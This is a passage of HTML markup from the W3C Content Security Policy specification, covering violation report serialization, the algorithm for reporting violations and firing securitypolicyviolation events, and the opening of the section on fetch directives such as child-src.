<p>Let <var>object</var> be a new JavaScript object with properties initialized as\n  follows:</p>\n      <dl>\n       <dt data-md=\"\">\"<code>document-uri</code>\"\n       <dd data-md=\"\">\n        <p>The result of executing the <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-serializer\" id=\"ref-for-concept-url-serializer\">URL serializer</a> on <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-url\" id=\"ref-for-violation-url\">url</a>, with the <code>exclude fragment</code> flag set.</p>\n       <dt data-md=\"\">\"<code>referrer</code>\"\n       <dd data-md=\"\">\n        <p>The result of executing the <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-serializer\" id=\"ref-for-concept-url-serializer①\">URL serializer</a> on <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-referrer\" id=\"ref-for-violation-referrer①\">referrer</a>, with the <code>exclude fragment</code> flag set.</p>\n       <dt data-md=\"\">\"<code>blocked-uri</code>\"\n       <dd data-md=\"\">\n        <p>The result of executing the <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-serializer\" id=\"ref-for-concept-url-serializer②\">URL serializer</a> on <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-resource\" id=\"ref-for-violation-resource⑦\">resource</a>, with the <code>exclude fragment</code> flag set.</p>\n       <dt data-md=\"\">\"<code>effective-directive</code>\"\n       <dd data-md=\"\">\n        <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-effective-directive\" id=\"ref-for-violation-effective-directive①\">effective directive</a></p>\n       <dt data-md=\"\">\"<code>violated-directive</code>\"\n       <dd data-md=\"\">\n        <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-effective-directive\" id=\"ref-for-violation-effective-directive②\">effective directive</a></p>\n       <dt data-md=\"\">\"<code>original-policy</code>\"\n       <dd data-md=\"\">\n        <p>The <a data-link-type=\"dfn\" href=\"#serialized-csp\" id=\"ref-for-serialized-csp⑦\">serialization</a> of <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-policy\" id=\"ref-for-violation-policy①\">policy</a></p>\n       <dt data-md=\"\">\"<code>disposition</code>\"\n       <dd data-md=\"\">\n        <p>The <a data-link-type=\"dfn\" href=\"#policy-disposition\" id=\"ref-for-policy-disposition①⑥\">disposition</a> of <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-policy\" id=\"ref-for-violation-policy②\">policy</a></p>\n       <dt data-md=\"\">\"<code>status-code</code>\"\n       <dd data-md=\"\">\n        <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-status\" id=\"ref-for-violation-status①\">status</a></p>\n       <dt data-md=\"\">\"<code>script-sample</code>\"\n       <dd data-md=\"\">\n        <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-sample\" id=\"ref-for-violation-sample④\">sample</a></p>\n        <p class=\"note\" role=\"note\"><span>Note:</span> The name <code>script-sample</code> was chosen for compatibility with an earlier iteration of\n  this feature which has shipped in Firefox since its initial implementation of CSP. Despite\n  the name, this field will contain samples for non-script violations, like stylesheets. The\n  data contained in a <code class=\"idl\"><a data-link-type=\"idl\" href=\"#securitypolicyviolationevent\" id=\"ref-for-securitypolicyviolationevent\">SecurityPolicyViolationEvent</a></code> object, and in reports generated via\n  the new <a data-link-type=\"dfn\" href=\"#report-to\" id=\"ref-for-report-to\"><code>report-to</code></a> directive, is named in a more encompassing fashion: <code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-sample\" id=\"ref-for-dom-securitypolicyviolationevent-sample\">sample</a></code>.</p>\n      </dl>\n     <li data-md=\"\">\n      <p>If <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-source-file\" id=\"ref-for-violation-source-file②\">source file</a> is not <code>null</code>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>Set <var>object</var>’s \"<code>source-file</code>\" property to the result of executing\n  the <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-serializer\" id=\"ref-for-concept-url-serializer③\">URL serializer</a> on <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-source-file\" id=\"ref-for-violation-source-file③\">source\n  file</a>, with the <code>exclude fragment</code> flag set.</p>\n       <li data-md=\"\">\n        <p>Set <var>object</var>’s \"<code>line-number</code>\" property to <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-line-number\" id=\"ref-for-violation-line-number①\">line number</a>.</p>\n       <li data-md=\"\">\n        <p>Set <var>object</var>’s \"<code>column-number</code>\" property to <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-column-number\" id=\"ref-for-violation-column-number①\">column number</a>.</p>\n      </ol>\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: If <var>object</var>’s \"<code>blocked-uri</code>\" property is not \"<code>inline</code>\", then its \"<code>sample</code>\"\n  property is the empty string.</p>\n     <li data-md=\"\">\n      <p>Return the result of executing <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://tc39.github.io/ecma262#sec-json.stringify\" id=\"ref-for-sec-json.stringify\">JSON.stringify()</a></code> on <var>object</var>.</p>\n    </ol>\n    <h3 class=\"heading settled algorithm\" data-algorithm=\"Report a violation\" data-level=\"5.3\" id=\"report-violation\"><span class=\"secno\">5.3. </span><span class=\"content\"> Report a <var>violation</var> </span><a class=\"self-link\" href=\"#report-violation\"></a></h3>\n    <p>Given a <a data-link-type=\"dfn\" href=\"#violation\" id=\"ref-for-violation①⑧\">violation</a> (<var>violation</var>), this algorithm reports it to the endpoint specified in <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-policy\" id=\"ref-for-violation-policy③\">policy</a>, and fires a <code class=\"idl\"><a data-link-type=\"idl\" href=\"#securitypolicyviolationevent\" id=\"ref-for-securitypolicyviolationevent①\">SecurityPolicyViolationEvent</a></code> at <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-element\" id=\"ref-for-violation-element①\">element</a>, or at <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-global-object\" id=\"ref-for-violation-global-object③\">global object</a> as described below:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>global</var> be <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-global-object\" id=\"ref-for-violation-global-object④\">global object</a>.</p>\n     <li data-md=\"\">\n      <p>Let <var>target</var> be <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-element\" id=\"ref-for-violation-element②\">element</a>.</p>\n     <li data-md=\"\">\n      <p><a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#queue-a-task\" id=\"ref-for-queue-a-task\">Queue a task</a> to run the following steps:</p>\n      <p class=\"note\" role=\"note\"><span>Note:</span> We \"queue a task\" here to ensure that the event targeting and dispatch\n  happens after JavaScript completes execution of the task responsible for a\n  given violation (which might manipulate the DOM).</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If <var>target</var> is not <code>null</code>, and <var>global</var> is a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/window-object.html#window\" id=\"ref-for-window③\">Window</a></code>, and <var>target</var>’s <a data-link-type=\"dfn\" href=\"https://dom.spec.whatwg.org/#concept-shadow-including-root\" id=\"ref-for-concept-shadow-including-root\">shadow-including root</a> is not <var>global</var>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/window-object.html#concept-document-window\" id=\"ref-for-concept-document-window①\">associated <code>Document</code></a>, set <var>target</var> to <code>null</code>.</p>\n        <p class=\"note\" role=\"note\"><span>Note:</span> This ensures that we fire events only at elements <a data-link-type=\"dfn\" href=\"https://dom.spec.whatwg.org/#connected\" id=\"ref-for-connected\">connected</a> to <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-policy\" id=\"ref-for-violation-policy④\">policy</a>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#document\" id=\"ref-for-document①①\">Document</a></code>. If a\n  violation is caused by an element which isn’t connected to that\n  document, we’ll fire the event at the document rather than the element\n  in order to ensure that the violation is visible to the document’s\n  listeners.</p>\n       <li data-md=\"\">\n        <p>If <var>target</var> is <code>null</code>:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>Set <var>target</var> be <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-global-object\" id=\"ref-for-violation-global-object⑤\">global object</a>.</p>\n         <li data-md=\"\">\n          <p>If <var>target</var> is a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/window-object.html#window\" id=\"ref-for-window④\">Window</a></code>, set <var>target</var> to <var>target</var>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/window-object.html#concept-document-window\" id=\"ref-for-concept-document-window②\">associated <code>Document</code></a>.</p>\n        </ol>\n       <li data-md=\"\">\n        <p><a data-link-type=\"dfn\" href=\"https://dom.spec.whatwg.org/#concept-event-fire\" id=\"ref-for-concept-event-fire\">Fire an event</a> named <code>securitypolicyviolation</code> that uses the <code class=\"idl\"><a data-link-type=\"idl\" href=\"#securitypolicyviolationevent\" id=\"ref-for-securitypolicyviolationevent②\">SecurityPolicyViolationEvent</a></code> interface at <var>target</var> with\n  its attributes initialized as follows:</p>\n        <dl>\n         <dt data-md=\"\"><code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-documenturi\" id=\"ref-for-dom-securitypolicyviolationevent-documenturi\">documentURI</a></code>\n         <dd data-md=\"\">\n          <p>The result of executing the <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-serializer\" id=\"ref-for-concept-url-serializer④\">URL serializer</a> on <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-url\" id=\"ref-for-violation-url①\">url</a>, with the <code>exclude fragment</code> flag set.</p>\n         <dt data-md=\"\"><code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-referrer\" id=\"ref-for-dom-securitypolicyviolationevent-referrer\">referrer</a></code>\n         <dd data-md=\"\">\n          <p>The result of executing the <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-serializer\" id=\"ref-for-concept-url-serializer⑤\">URL serializer</a> on <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-referrer\" id=\"ref-for-violation-referrer②\">referrer</a>, with the <code>exclude fragment</code> flag set.</p>\n         <dt data-md=\"\"><code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-blockeduri\" id=\"ref-for-dom-securitypolicyviolationevent-blockeduri\">blockedURI</a></code>\n         <dd data-md=\"\">\n          <p>The result of executing the <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-serializer\" id=\"ref-for-concept-url-serializer⑥\">URL serializer</a> on <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-resource\" id=\"ref-for-violation-resource⑧\">resource</a>, with the <code>exclude fragment</code> flag set.</p>\n         <dt data-md=\"\"><code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-effectivedirective\" id=\"ref-for-dom-securitypolicyviolationevent-effectivedirective\">effectiveDirective</a></code>\n         <dd data-md=\"\">\n          <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-effective-directive\" id=\"ref-for-violation-effective-directive③\">effective directive</a></p>\n         <dt data-md=\"\"><code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-violateddirective\" id=\"ref-for-dom-securitypolicyviolationevent-violateddirective\">violatedDirective</a></code>\n         <dd data-md=\"\">\n          <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-effective-directive\" id=\"ref-for-violation-effective-directive④\">effective directive</a></p>\n         <dt data-md=\"\"><code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-originalpolicy\" id=\"ref-for-dom-securitypolicyviolationevent-originalpolicy\">originalPolicy</a></code>\n         <dd data-md=\"\">\n          <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-policy\" id=\"ref-for-violation-policy⑤\">policy</a></p>\n         <dt data-md=\"\"><code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-disposition\" id=\"ref-for-dom-securitypolicyviolationevent-disposition\">disposition</a></code>\n         <dd data-md=\"\">\n          <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-disposition\" id=\"ref-for-violation-disposition\">disposition</a></p>\n         <dt data-md=\"\"><code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-sourcefile\" id=\"ref-for-dom-securitypolicyviolationevent-sourcefile\">sourceFile</a></code>\n         <dd data-md=\"\">\n          <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-source-file\" id=\"ref-for-violation-source-file④\">source file</a></p>\n         <dt data-md=\"\"><code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-statuscode\" id=\"ref-for-dom-securitypolicyviolationevent-statuscode\">statusCode</a></code>\n         <dd data-md=\"\">\n          <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-status\" id=\"ref-for-violation-status②\">status</a></p>\n         <dt data-md=\"\"><code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-linenumber\" id=\"ref-for-dom-securitypolicyviolationevent-linenumber\">lineNumber</a></code>\n         <dd data-md=\"\">\n          <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-line-number\" id=\"ref-for-violation-line-number②\">line number</a></p>\n         <dt data-md=\"\"><code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-columnnumber\" id=\"ref-for-dom-securitypolicyviolationevent-columnnumber\">columnNumber</a></code>\n         <dd data-md=\"\">\n          <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-column-number\" id=\"ref-for-violation-column-number②\">column number</a></p>\n         <dt data-md=\"\"><code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-sample\" id=\"ref-for-dom-securitypolicyviolationevent-sample①\">sample</a></code>\n         <dd data-md=\"\">\n          <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-sample\" id=\"ref-for-violation-sample⑤\">sample</a></p>\n         <dt data-md=\"\"><code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#dom-event-bubbles\" id=\"ref-for-dom-event-bubbles\">bubbles</a></code>\n         <dd data-md=\"\">\n          <p><code>true</code></p>\n         <dt data-md=\"\"><code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#dom-event-composed\" id=\"ref-for-dom-event-composed\">composed</a></code>\n         <dd data-md=\"\">\n          <p><code>true</code></p>\n        </dl>\n        <p class=\"note\" role=\"note\"><span>Note:</span> Both <code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-effectivedirective\" id=\"ref-for-dom-securitypolicyviolationevent-effectivedirective①\">effectiveDirective</a></code> and <code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-violateddirective\" id=\"ref-for-dom-securitypolicyviolationevent-violateddirective①\">violatedDirective</a></code> are the same value.\n  This is intentional to maintain backwards compatibility.</p>\n        <p class=\"note\" role=\"note\"><span>Note:</span> We set the <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#dom-event-composed\" id=\"ref-for-dom-event-composed①\">composed</a></code> attribute, which means that this event\n  can be captured on its way into, and will bubble its way out of a shadow\n  tree. <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#dom-event-target\" id=\"ref-for-dom-event-target\">target</a></code>, et al will be automagically scoped correctly for\n  the main tree.</p>\n       <li data-md=\"\">\n        <p>If <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-policy\" id=\"ref-for-violation-policy⑥\">policy</a>’s <a data-link-type=\"dfn\" href=\"#policy-directive-set\" id=\"ref-for-policy-directive-set⑦\">directive\n  set</a> contains a <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives①①\">directive</a> named \"<a data-link-type=\"dfn\" href=\"#report-uri\" id=\"ref-for-report-uri①\"><code>report-uri</code></a>\"\n  (<var>directive</var>):</p>\n        <ol>\n         <li data-md=\"\">\n          <p>If <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-policy\" id=\"ref-for-violation-policy⑦\">policy</a>’s <a data-link-type=\"dfn\" href=\"#policy-directive-set\" id=\"ref-for-policy-directive-set⑧\">directive set</a> contains a <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives①②\">directive</a> named\n  \"<a data-link-type=\"dfn\" href=\"#report-to\" id=\"ref-for-report-to①\"><code>report-to</code></a>\", skip the remaining substeps.</p>\n         <li data-md=\"\">\n          <p>Let <var>endpoint</var> be the result of executing the <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-parser\" id=\"ref-for-concept-url-parser\">URL parser</a> with <var>directive</var>’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value⑦\">value</a> as the input, and <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-url\" id=\"ref-for-violation-url②\">url</a> as the <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-base-url\" id=\"ref-for-concept-base-url\">base URL</a>.</p>\n         <li data-md=\"\">\n          <p>If <var>endpoint</var> is not a valid URL, skip the remaining substeps.</p>\n         <li data-md=\"\">\n          <p>Let <var>request</var> be a new <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request①⑤\">request</a>, initialized as follows:</p>\n          <dl>\n           <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-method\" id=\"ref-for-concept-request-method\">method</a>\n           <dd data-md=\"\">\n            <p>\"<code>POST</code>\"</p>\n           <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-url\" id=\"ref-for-concept-request-url③\">url</a>\n           <dd data-md=\"\">\n            <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-url\" id=\"ref-for-violation-url③\">url</a></p>\n           <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-origin\" id=\"ref-for-concept-request-origin\">origin</a>\n           <dd data-md=\"\">\n            <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-global-object\" id=\"ref-for-violation-global-object⑥\">global object</a>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#relevant-settings-object\" id=\"ref-for-relevant-settings-object\">relevant settings\n  object</a>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#concept-settings-object-origin\" id=\"ref-for-concept-settings-object-origin\">origin</a></p>\n           <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-window\" id=\"ref-for-concept-request-window\">window</a>\n           <dd data-md=\"\">\n            <p>\"<code>no-window</code>\"</p>\n           <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-client\" id=\"ref-for-concept-request-client⑦\">client</a>\n           <dd data-md=\"\">\n            <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-global-object\" id=\"ref-for-violation-global-object⑦\">global object</a>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#relevant-settings-object\" id=\"ref-for-relevant-settings-object①\">relevant\n  settings object</a></p>\n           <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\" id=\"ref-for-concept-request-destination\">destination</a>\n           <dd data-md=\"\">\n            <p>\"<code>report</code>\"</p>\n           <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-initiator\" id=\"ref-for-concept-request-initiator\">initiator</a>\n           <dd data-md=\"\">\n            <p>\"\"</p>\n           <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-credentials-mode\" id=\"ref-for-concept-request-credentials-mode\">credentials mode</a>\n           <dd data-md=\"\">\n            <p>\"<code>same-origin</code>\"</p>\n           <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#request-keepalive-flag\" id=\"ref-for-request-keepalive-flag\">keepalive flag</a>\n           <dd data-md=\"\">\n            <p>\"<code>true</code>\"</p>\n           <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-header-list\" id=\"ref-for-concept-request-header-list\">header list</a>\n           <dd data-md=\"\">\n            <p>A header list containing a single header whose name is\n  \"<code>Content-Type</code>\", and value is \"<code>application/csp-report</code>\"</p>\n           <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-body\" id=\"ref-for-concept-request-body\">body</a>\n           <dd data-md=\"\">\n            <p>The result of executing <a href=\"#deprecated-serialize-violation\">§5.2 Obtain the deprecated serialization of violation</a> on <var>violation</var></p>\n           <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-redirect-mode\" id=\"ref-for-concept-request-redirect-mode\">redirect mode</a>\n           <dd data-md=\"\">\n            <p>\"<code>error</code>\"</p>\n          </dl>\n          <p class=\"note\" role=\"note\"><span>Note:</span> <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-mode\" id=\"ref-for-concept-request-mode\">mode</a> defaults to \"<code>no-cors</code>\"; the response is ignored entirely.</p>\n         <li data-md=\"\">\n          <p><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-fetch\" id=\"ref-for-concept-fetch\">Fetch</a> <var>request</var>. The result will be ignored.</p>\n        </ol>\n        <p class=\"note\" role=\"note\"><span>Note:</span> All of this should be considered deprecated. It sends a single\n  request per violation, which simply isn’t scalable. As soon as this\n  behavior can be removed from user agents, it will be.</p>\n        <p class=\"note\" role=\"note\"><span>Note:</span> <code>report-uri</code> only takes effect if <code>report-to</code> is not present. That\n  is, the latter overrides the former, allowing for backwards compatibility\n  with browsers that don’t support the new mechanism.</p>\n       <li data-md=\"\">\n        <p>If <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-policy\" id=\"ref-for-violation-policy⑧\">policy</a>’s <a data-link-type=\"dfn\" href=\"#policy-directive-set\" id=\"ref-for-policy-directive-set⑨\">directive\n  set</a> contains a <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives①③\">directive</a> named \"<a data-link-type=\"dfn\" href=\"#report-to\" id=\"ref-for-report-to②\"><code>report-to</code></a>\"\n  (<var>directive</var>):</p>\n        <ol>\n         <li data-md=\"\">\n          <p>Let <var>group</var> be <var>directive</var>’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value⑧\">value</a>.</p>\n         <li data-md=\"\">\n          <p>Let <var>settings object</var> be <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-global-object\" id=\"ref-for-violation-global-object⑧\">global\n  object</a>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#relevant-settings-object\" id=\"ref-for-relevant-settings-object②\">relevant settings object</a>.</p>\n         <li data-md=\"\">\n          <p>Execute <a data-link-type=\"biblio\" href=\"#biblio-reporting\">[REPORTING]</a>'s <a data-link-type=\"dfn\" href=\"https://w3c.github.io/reporting/#queue-report\" id=\"ref-for-queue-report\">Queue <var>data</var> as <var>type</var> for <var>endpoint group</var> on <var>settings</var></a> algorithm with the\n  following arguments:</p>\n          <dl>\n           <dt data-md=\"\"><var>data</var>\n           <dd data-md=\"\">\n            <p><var>violation</var></p>\n           <dt data-md=\"\"><var>type</var>\n           <dd data-md=\"\">\n            <p>\"CSP\"</p>\n           <dt data-md=\"\"><var>endpoint group</var>\n           <dd data-md=\"\">\n            <p><var>group</var></p>\n           <dt data-md=\"\"><var>settings</var>\n           <dd data-md=\"\">\n            <p><var>settings object</var></p>\n          </dl>\n        </ol>\n      </ol>\n    </ol>\n   </section>\n   <section>\n    <h2 class=\"heading settled\" data-level=\"6\" id=\"csp-directives\"><span class=\"secno\">6. </span><span class=\"content\"> Content Security Policy Directives </span><a class=\"self-link\" href=\"#csp-directives\"></a></h2>\n    <p>This specification defines a number of types of <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives①④\">directives</a> which allow\n  developers to control certain aspects of their sites' behavior. This document\n  defines directives which govern resource fetching (in <a href=\"#directives-fetch\">§6.1 Fetch Directives</a>),\n  directives which govern the state of a document (in <a href=\"#directives-document\">§6.2 Document Directives</a>),\n  directives which govern aspects of navigation (in <a href=\"#directives-navigation\">§6.3 Navigation Directives</a>),\n  and directives which govern reporting (in <a href=\"#directives-reporting\">§6.4 Reporting Directives</a>). These\n  form the core of Content Security Policy; other directives are defined in a\n  modular fashion in ancillary documents (see <a href=\"#directives-elsewhere\">§6.5 Directives Defined in Other Documents</a> for\n  examples).</p>\n    <p>To mitigate the risk of cross-site scripting attacks, web developers SHOULD\n  include directives that regulate sources of script and plugins. They can do\n  so by including:</p>\n    <ul>\n     <li data-md=\"\">\n      <p>Both the <a data-link-type=\"dfn\" href=\"#script-src\" id=\"ref-for-script-src\">script-src</a> and <a data-link-type=\"dfn\" href=\"#object-src\" id=\"ref-for-object-src\">object-src</a> directives, or</p>\n     <li data-md=\"\">\n      <p>a <a data-link-type=\"dfn\" href=\"#default-src\" id=\"ref-for-default-src\">default-src</a> directive</p>\n    </ul>\n    <p>In either case, developers SHOULD NOT include either <a data-link-type=\"grammar\" href=\"#grammardef-unsafe-inline\" id=\"ref-for-grammardef-unsafe-inline\"><code>'unsafe-inline'</code></a>, or <code>data:</code> as valid\n  sources in their policies. Both enable XSS attacks by allowing code to be\n  included directly in the document itself; they are best avoided completely.</p>\n    <h3 class=\"heading settled\" data-level=\"6.1\" id=\"directives-fetch\"><span class=\"secno\">6.1. </span><span class=\"content\"> Fetch Directives </span><a class=\"self-link\" href=\"#directives-fetch\"></a></h3>\n    <p><dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"fetch-directives\">Fetch directives</dfn> control the locations from which certain resource\n  types may be loaded. For instance, <a data-link-type=\"dfn\" href=\"#script-src\" id=\"ref-for-script-src①\">script-src</a> allows developers to allow\n  trusted sources of script to execute on a page, while <a data-link-type=\"dfn\" href=\"#font-src\" id=\"ref-for-font-src\">font-src</a> controls the\n  sources of web fonts.</p>\n    <h4 class=\"heading settled\" data-level=\"6.1.1\" id=\"directive-child-src\"><span class=\"secno\">6.1.1. </span><span class=\"content\"><code>child-src</code></span><a class=\"self-link\" href=\"#directive-child-src\"></a></h4>\n    <p>The <a data-link-type=\"dfn\" href=\"#child-src\" id=\"ref-for-child-src\"><code>child-src</code></a> directive is <em>deprecated</em>. Authors who wish to regulate\n  nested browsing contexts and workers SHOULD use the <a data-link-type=\"dfn\" href=\"#frame-src\" id=\"ref-for-frame-src\"><code>frame-src</code></a> and <a data-link-type=\"dfn\" href=\"#worker-src\" id=\"ref-for-worker-src\"><code>worker-src</code></a> directives, respectively.</p>\n    <p>The <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"child-src\"><code>child-src</code></dfn> directive governs the creation of <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#nested-browsing-context\" id=\"ref-for-nested-browsing-context\">nested browsing\n  contexts</a> (e.g. <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element\" id=\"ref-for-the-iframe-element\">iframe</a></code> and <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/obsolete.html#frame\" id=\"ref-for-frame\">frame</a></code> navigations) and Worker execution\n  contexts. The syntax for the directive’s name and value is described by the\n  following ABNF:</p>\n<pre>directive-name  = \"child-src\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-serialized-source-list\" id=\"ref-for-grammardef-serialized-source-list\">serialized-source-list</a>\n</pre>\n    <p>This directive controls <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request①⑥\">requests</a> which will populate a frame or a\n  worker. More formally, <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request①⑦\">requests</a> falling into one of the\n  following categories:</p>\n    <ul>\n     <li data-md=\"\">\n      <p><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\" id=\"ref-for-concept-request-destination①\">destination</a> is \"<code>document</code>\", and whose <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-target-browsing-context\" id=\"ref-for-concept-request-target-browsing-context\">target browsing context</a> is a <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#nested-browsing-context\" id=\"ref-for-nested-browsing-context①\">nested browsing\n context</a> (e.g. requests which will populate an <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element\" id=\"ref-for-the-iframe-element①\">iframe</a></code> or <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/obsolete.html#frame\" id=\"ref-for-frame①\">frame</a></code> element)</p>\n     <li data-md=\"\">\n      <p><a data-link-type=\"dfn\" 